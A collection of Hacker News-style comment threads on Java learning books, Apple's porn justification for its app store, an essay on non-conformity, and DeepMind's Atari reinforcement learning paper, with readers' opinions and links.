Personally if I had to get back into Java today I would start by exploring _Introduction to Programming in Java: An Interdisciplinary Approach_ by Robert Sedgewick & Kevin Wayne. The 2nd Edition has just been published (early April 2017) - but take in account that I am suggesting this basing myself exclusively on the reputation of the authors, and I haven't read it.

<comment><AUTHOR> That makes a lot of sense as to why there doesn't seem to be a "Bible" for java - thanks for the recommendation, I'll take a look at it

</comment></comment><comment><USER3> In a literary sense, there is probably not a Java equivalent to _The C Programming Language_ because it was written at a time when the primary way of telling people about new programming languages was dead tree books and the primary way of distributing new programming languages was magnetic tape. By the time Java was created, network connections and CDROM's were standard. Also Java was a commercial product backed by for profit training and workshops and support.

Anyway, the formal introduction to Java is the specification produced via Java's consensus process. It's all there. Everything. If it isn't there, it's a bug.

[https://docs.oracle.com/javase/specs/jls/se8/html/index.html](https://docs.oracle.com/javase/specs/jls/se8/html/index.html)

Good luck.</comment>


Apple: Walled Garden is to Keep Porn Out - <AUTHOR> http://www.boingboing.net/2010/04/08/apple-the-iphone-wal.html

<comment><AUTHOR> I find this particular defense to be utterly ridiculous. It's the classic "Won't somebody please think of the children?" trope. The iPhone already has parental controls. You already can deactivate the App store as well as iTunes there. Just add another switch for unapproved third party apps, heck, turn it on by default if you want to.

<comment><USER2> It doesn't even make sense because you can always just go on the internet to find porn.

<comment><AUTHOR> Mentioning one gaping hole in the logic of that statement seemed to be enough to completely dismantle it :)

(The web part you mentioned is actually the frightening part of the whole thing. If they really wanted to carry their stance here to the logical conclusion they would have to filter the web or shut it out completely. I don't think that's what they plan or even want to do, it's just a crappy and illogical statement Jobs formulated there. Why did Jobs say it? It seems just dumb.)</comment></comment></comment>


Modern Non-Conformity and Contarianism in the Age of Silicon Valley - <AUTHOR> https://jamesgallagher.app/non-conformity/ <comment><USER2> This article reads like a rebelious rant of a teenager not wanting to go to school. Yes one can be happy living like a stoic (see main page) in the woods on minimal food and water. Or practicing zen. And this is a valid choice for many.

But the fact is that besides repeating dozens of times how "non conforming" the author is nothing much more meaningful is provided here.

<comment><USER3> It strikes me that either you legitimately can't relate but might think you can, or you aren't empathizing with the author (nothing wrong with that, sometimes we legitimately can't put ourself in their "shoes"), or you may possibly be unintentionally gatekeeping nonconformity. None of that is meant as an offense to you but just the 3 impressions I get from your comment after reading the article.

James provides many meaningful thoughts, and even gave a disclaimer that this is something he's still thinking through more.

One of those meaningful thoughts I felt was particularly provocative was this:

> I also learned that being a successful non-conformist is easier when you > have security.

It's easy for the rich kid from a well-connected family to be a nonconformist and still succeed at what they hope to do in life. Take a poor kid, who is also well-connected but not necessarily to those comparable to the rich kid. Poor kid might have a lot of social capital among their community such that they can get things done, but compare that to rich kid who can always fall back on a family friend hiring them for a junior management position where they'll get paid orders of magnitude more than the poor kid... Now imagine that poor kid with low to no security being a nonconformist.

For them, that could go one of two ways:

1\. Ostracized from community for going against the grain/not getting in line

2\. They get lucky and some aspect of nonconformity brings them great success and even wealth

Which of those two do you think happens more frequently?

So, I politely disagree. While it does seem that he's sharing some raw thoughts, there are some good clear items in there to think about.

</comment></comment><comment><USER4> Good article but why does the HN title include"silicon valley"?

The article doesn't include SV in its actual title, and mentions SV only twice.

Not to mention that the old SV model is mostly dead, and the new SV is highly corporate and rewards conformity.

</comment><comment><USER5> Better article than the title would suggest.</comment>


Playing Atari with Deep Reinforcement Learning [pdf] - <AUTHOR> http://www.cs.toronto.edu/~vmnih/docs/dqn.pdf

<comment><USER2> Submitted previously, here: [https://news.ycombinator.com/item?id=7802661](https://news.ycombinator.com/item?id=7802661)

... and here: [https://news.ycombinator.com/item?id=8484313](https://news.ycombinator.com/item?id=8484313)

</comment><comment><AUTHOR> Here's the video Deepmind artificial intelligence @ FDOT14: [https://www.youtube.com/watch?v=EfGD2qveGdQ](https://www.youtube.com/watch?v=EfGD2qveGdQ)

</comment><comment><USER3> Is there any example code available for this or a similar task being 'solved' using deep and reinforcement learning?

<comment><USER4> [http://cs.stanford.edu/people/karpathy/convnetjs/demo/rldemo...](http://cs.stanford.edu/people/karpathy/convnetjs/demo/rldemo.html)

<comment><USER3> Thanks!

</comment></comment></comment><comment><USER5> Academic papers use a lot of formulas and equations that can be easily described in English, but instead are described mathematically.

I often find that when I read them, it really slows me down.

"We refer to a neural network function approximator with weights θ as a Q-network. A Q-network can be trained by minimising a sequence of loss functions Li(θi) that changes at each iteration i, L_i (θ_i) = E_s,a∼ρ(·)[(y_i − Q (s, a; θ_i))^2]"

I get to a place like this and I really have to stop and let it process. Ok, theta is the set of weights for the network function approximator. L_i is the loss function at i, wait. what is rho? something about expected return. Wait, what is y? Oh, ok, it's just E_s∼E [r + γ max_a' ; Q(s', a'; θ_i−1)|s, a] ok, so that's I guess the equation before this one with respect to those weights for the previous iteration. So I guess that minus the square of the function approximator based on the weights of the current iteration? Oh, wait it says rho(s,a) is the behavior distribution or the probability distirirbution over s and a.

So I guess I kind of get the point of the loss function? I think it estimates some difference between the approximated expectation of the current iteration and the approximated expectation where it should be after the previous iteration?

I guess I wonder if there are other people, even people who study in the same domain who can read a paper like that and just understand the formulas more easily than if it were explained a bit more in English.

I mean, I don't typically work with machine learning, and it's been a long while since I've been in Academia, but even when I was an undergrad, the formulas that I used were mostly done because I felt that good papers include confusing formulas. They were always valid and important, but presenting as little as necessary almost seemed like a challenge to other people, to show how I was smarter than them. But it also meant when I read papers by peers even though I knew what all the parts meant I still had to sit down and think through the formulas when they were shown.

I don't mean that this is the intention of this paper. But especially since I'm not very familiar with conventions when talking about artificial neural networks and machine learning it's especially apparent how challenging it is to understand, but once I do sort through the jargon and process the intent, I start to understand it.

I guess I just wonder whether someone reasonably familiar with the subject matter can read those things without issue (in which case, that's great, because that's the intended audience) or whether authors could communicate their point more clearly in English, and use the formulas more as reference or proof. Or whether it was kind of like me, and they like to leave it to the reader as a sort of "if it takes you a while to get it, that's your problem, we're smarter."

My guess is that it could be communicated more clearly, and that it's more a result of academic style than anything else. But I do wonder if people who are engrossed in the subject also stumble when it comes to those things.

<comment><USER6> I work in A.I., on a different area of search. This paper made no sense to me either. I have a sneaky feeling the authors might be trying to fancy up something very simple (that accusation is based on nothing more than reading many accademic papers and finding this one particularly unreadable, when I feel this paper should lend itself to a particular easy outline of their technique at least).</comment></comment>